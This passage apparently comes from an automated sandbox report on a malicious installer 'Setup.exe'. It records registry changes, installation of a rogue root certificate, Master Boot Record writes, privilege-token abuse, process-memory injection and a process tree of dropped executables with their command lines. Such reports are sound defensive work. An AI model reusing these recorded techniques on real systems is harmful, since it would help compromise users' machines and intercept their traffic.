\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 49481391ea0dd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\ImageStoreRandomFolder = "cnmcxpy" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\MrtCache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 281ca799ea0dd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompleted = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 97d9e37dea0dd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000d0047ec952d0632b4e384a726599ff0d90a6158705fbe01eaf894657f739ef53e315e93ccdbd2c34e1106a0c0834be8eef7571db6badc45e0113efa40cbd63f4572b8da8c59ca34f9b14cfc8734807a509da6a4066a0c0838fd9d24fcb89b0676a6682aa0e0c830da36546bf1d7528bb6cf31d757f74c45f46fd47b1f13e7e36f0e560e7f3ace3b8ea23d09b055bc166b4e112c1a7c9a9fda79d86043e7dc194b9ca381fd51e7d18896e914edb99a342cfc45b6f8a3f282e65db7fca85e44535b734e2926e012843cd66c3aab3d1b75305bda19ab176c51ef3d55ff518150bc37943b5b7a9f46b81402cc8a7f8a2ddffcdeab64b1f0fb00666ad6fed91ae25da1017c93b93999e400ade0895d1ac6895a46ce8e47da897e1c181f3608e509196f6cf825b528f2f13759d30deee8fd65e7164eddc1ce2af3817734ae1029ce2b59f8d4286de7571c8698965d114ebaf4c07f01ecec35dadfd8ca10358ba30a13f4e70a44fc4edc0876fc21a392660d42ac93185d2dab9c075f42dc74543aed3cb43982eb946962c094968ecc6388eb364f647a52ee9962f3374620bbfda9bd7018e1336e7e86b MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe -
Processes:
Setup.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe -
Runs .reg file with regedit 2 IoCs
Processes:
regedit.exeregedit.exepid process 5948 regedit.exe 5300 regedit.exe -
Runs ping.exe 1 TTPs 4 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEpid process 3996 PING.EXE 4368 PING.EXE 5192 PING.EXE 976 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
1614527833146.exe1614527837943.exe1614527843193.exe23E04C4F32EF2158.tmpseed.exepid process 4016 1614527833146.exe 4016 1614527833146.exe 700 1614527837943.exe 700 1614527837943.exe 428 1614527843193.exe 428 1614527843193.exe 2184 23E04C4F32EF2158.tmp 2184 23E04C4F32EF2158.tmp 1684 seed.exe 1684 seed.exe 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 3068 -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
MicrosoftEdgeCP.exeseed.exe1C44.exepid process 3960 MicrosoftEdgeCP.exe 1684 seed.exe 5384 1C44.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 3092 msiexec.exe Token: SeIncreaseQuotaPrivilege 3092 msiexec.exe Token: SeSecurityPrivilege 744 msiexec.exe Token: SeCreateTokenPrivilege 3092 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3092 msiexec.exe Token: SeLockMemoryPrivilege 3092 msiexec.exe Token: SeIncreaseQuotaPrivilege 3092 msiexec.exe Token: SeMachineAccountPrivilege 3092 msiexec.exe Token: SeTcbPrivilege 3092 msiexec.exe Token: SeSecurityPrivilege 3092 msiexec.exe Token: SeTakeOwnershipPrivilege 3092 msiexec.exe Token: SeLoadDriverPrivilege 3092 msiexec.exe Token: SeSystemProfilePrivilege 3092 msiexec.exe Token: SeSystemtimePrivilege 3092 msiexec.exe Token: SeProfSingleProcessPrivilege 3092 msiexec.exe Token: SeIncBasePriorityPrivilege 3092 msiexec.exe Token: SeCreatePagefilePrivilege 3092 msiexec.exe Token: SeCreatePermanentPrivilege 3092 msiexec.exe Token: SeBackupPrivilege 3092 msiexec.exe Token: SeRestorePrivilege 3092 msiexec.exe Token: SeShutdownPrivilege 3092 msiexec.exe Token: SeDebugPrivilege 3092 msiexec.exe Token: SeAuditPrivilege 3092 msiexec.exe Token: SeSystemEnvironmentPrivilege 3092 msiexec.exe Token: SeChangeNotifyPrivilege 3092 msiexec.exe Token: SeRemoteShutdownPrivilege 3092 msiexec.exe Token: SeUndockPrivilege 3092 msiexec.exe Token: SeSyncAgentPrivilege 3092 msiexec.exe Token: SeEnableDelegationPrivilege 3092 msiexec.exe Token: SeManageVolumePrivilege 3092 msiexec.exe Token: SeImpersonatePrivilege 3092 msiexec.exe Token: SeCreateGlobalPrivilege 3092 msiexec.exe Token: SeCreateTokenPrivilege 3092 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3092 msiexec.exe Token: SeLockMemoryPrivilege 3092 msiexec.exe Token: SeIncreaseQuotaPrivilege 3092 msiexec.exe Token: SeMachineAccountPrivilege 3092 msiexec.exe Token: SeTcbPrivilege 3092 msiexec.exe Token: SeSecurityPrivilege 3092 msiexec.exe Token: SeTakeOwnershipPrivilege 3092 msiexec.exe Token: SeLoadDriverPrivilege 3092 msiexec.exe Token: SeSystemProfilePrivilege 3092 msiexec.exe Token: SeSystemtimePrivilege 3092 msiexec.exe Token: SeProfSingleProcessPrivilege 3092 msiexec.exe Token: SeIncBasePriorityPrivilege 3092 msiexec.exe Token: SeCreatePagefilePrivilege 3092 msiexec.exe Token: SeCreatePermanentPrivilege 3092 msiexec.exe Token: SeBackupPrivilege 3092 msiexec.exe Token: SeRestorePrivilege 3092 msiexec.exe Token: SeShutdownPrivilege 3092 msiexec.exe Token: SeDebugPrivilege 3092 msiexec.exe Token: SeAuditPrivilege 3092 msiexec.exe Token: SeSystemEnvironmentPrivilege 3092 msiexec.exe Token: SeChangeNotifyPrivilege 3092 msiexec.exe Token: SeRemoteShutdownPrivilege 3092 msiexec.exe Token: SeUndockPrivilege 3092 msiexec.exe Token: SeSyncAgentPrivilege 3092 msiexec.exe Token: SeEnableDelegationPrivilege 3092 msiexec.exe Token: SeManageVolumePrivilege 3092 msiexec.exe Token: SeImpersonatePrivilege 3092 msiexec.exe Token: SeCreateGlobalPrivilege 3092 msiexec.exe Token: SeCreateTokenPrivilege 3092 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3092 msiexec.exe Token: SeLockMemoryPrivilege 3092 msiexec.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
Processes:
msiexec.exe23E04C4F32EF2158.tmpprolab.tmppid process 3092 msiexec.exe 2184 23E04C4F32EF2158.tmp 5756 prolab.tmp -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exepid process 2176 MicrosoftEdge.exe 3960 MicrosoftEdgeCP.exe 3960 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup.exemsiexec.execmd.exe26FF190E7AE0F7C7.execmd.exe26FF190E7AE0F7C7.execmd.exedescription pid process target process PID 652 wrote to memory of 3092 652 Setup.exe msiexec.exe PID 652 wrote to memory of 3092 652 Setup.exe msiexec.exe PID 652 wrote to memory of 3092 652 Setup.exe msiexec.exe PID 744 wrote to memory of 2556 744 msiexec.exe MsiExec.exe PID 744 wrote to memory of 2556 744 msiexec.exe MsiExec.exe PID 744 wrote to memory of 2556 744 msiexec.exe MsiExec.exe PID 652 wrote to memory of 1140 652 Setup.exe 26FF190E7AE0F7C7.exe PID 652 wrote to memory of 1140 652 Setup.exe 26FF190E7AE0F7C7.exe PID 652 wrote to memory of 1140 652 Setup.exe 26FF190E7AE0F7C7.exe PID 652 wrote to memory of 2444 652 Setup.exe 26FF190E7AE0F7C7.exe PID 652 wrote to memory of 2444 652 Setup.exe 26FF190E7AE0F7C7.exe PID 652 wrote to memory of 2444 652 Setup.exe 26FF190E7AE0F7C7.exe PID 652 wrote to memory of 3784 652 Setup.exe cmd.exe PID 652 wrote to memory of 3784 652 Setup.exe cmd.exe PID 652 wrote to memory of 3784 652 Setup.exe cmd.exe PID 3784 wrote to memory of 976 3784 cmd.exe PING.EXE PID 3784 wrote to memory of 976 3784 cmd.exe PING.EXE PID 3784 wrote to memory of 976 3784 cmd.exe PING.EXE PID 2444 wrote to memory of 3612 2444 26FF190E7AE0F7C7.exe cmd.exe PID 2444 wrote to memory of 3612 2444 26FF190E7AE0F7C7.exe cmd.exe PID 2444 wrote to memory of 3612 2444 26FF190E7AE0F7C7.exe cmd.exe PID 3612 wrote to memory of 1068 3612 cmd.exe taskkill.exe PID 3612 wrote to memory of 1068 3612 cmd.exe taskkill.exe PID 3612 wrote to memory of 1068 3612 cmd.exe taskkill.exe PID 1140 wrote to memory of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 4016 1140 26FF190E7AE0F7C7.exe 1614527833146.exe PID 1140 wrote to memory of 4016 1140 26FF190E7AE0F7C7.exe 1614527833146.exe PID 1140 wrote to memory of 4016 1140 26FF190E7AE0F7C7.exe 1614527833146.exe PID 2444 wrote to memory of 2168 2444 26FF190E7AE0F7C7.exe cmd.exe PID 2444 wrote to memory of 2168 2444 26FF190E7AE0F7C7.exe cmd.exe PID 2444 wrote to memory of 2168 2444 26FF190E7AE0F7C7.exe cmd.exe PID 2168 wrote to memory of 3996 2168 cmd.exe PING.EXE PID 2168 wrote to memory of 3996 2168 cmd.exe PING.EXE PID 2168 wrote to memory of 3996 2168 cmd.exe PING.EXE PID 1140 wrote to memory of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 700 1140 26FF190E7AE0F7C7.exe 1614527837943.exe PID 1140 wrote to memory of 700 1140 26FF190E7AE0F7C7.exe 1614527837943.exe PID 1140 wrote to memory of 700 1140 26FF190E7AE0F7C7.exe 1614527837943.exe PID 1140 wrote to memory of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 wrote to memory of 428 1140 26FF190E7AE0F7C7.exe 1614527843193.exe PID 1140 wrote to memory of 428 1140 26FF190E7AE0F7C7.exe 1614527843193.exe PID 1140 wrote to memory of 428 1140 26FF190E7AE0F7C7.exe 1614527843193.exe PID 1140 wrote to memory of 3832 1140 26FF190E7AE0F7C7.exe ThunderFW.exe PID 1140 wrote to memory of 3832 1140 26FF190E7AE0F7C7.exe ThunderFW.exe PID 1140 wrote to memory of 3832 1140 26FF190E7AE0F7C7.exe ThunderFW.exe PID 1140 wrote to memory of 548 1140 26FF190E7AE0F7C7.exe MiniThunderPlatform.exe PID 1140 wrote to memory of 548 1140 26FF190E7AE0F7C7.exe MiniThunderPlatform.exe PID 1140 wrote to memory of 548 1140 26FF190E7AE0F7C7.exe MiniThunderPlatform.exe PID 1140 wrote to memory of 388 1140 26FF190E7AE0F7C7.exe 23E04C4F32EF2158.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"2⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp12⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\1614527833146.exe"C:\Users\Admin\AppData\Roaming\1614527833146.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614527833146.txt"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\1614527837943.exe"C:\Users\Admin\AppData\Roaming\1614527837943.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614527837943.txt"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\1614527843193.exe"C:\Users\Admin\AppData\Roaming\1614527843193.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614527843193.txt"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP3⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent3⤵
- Executes dropped EXE
-
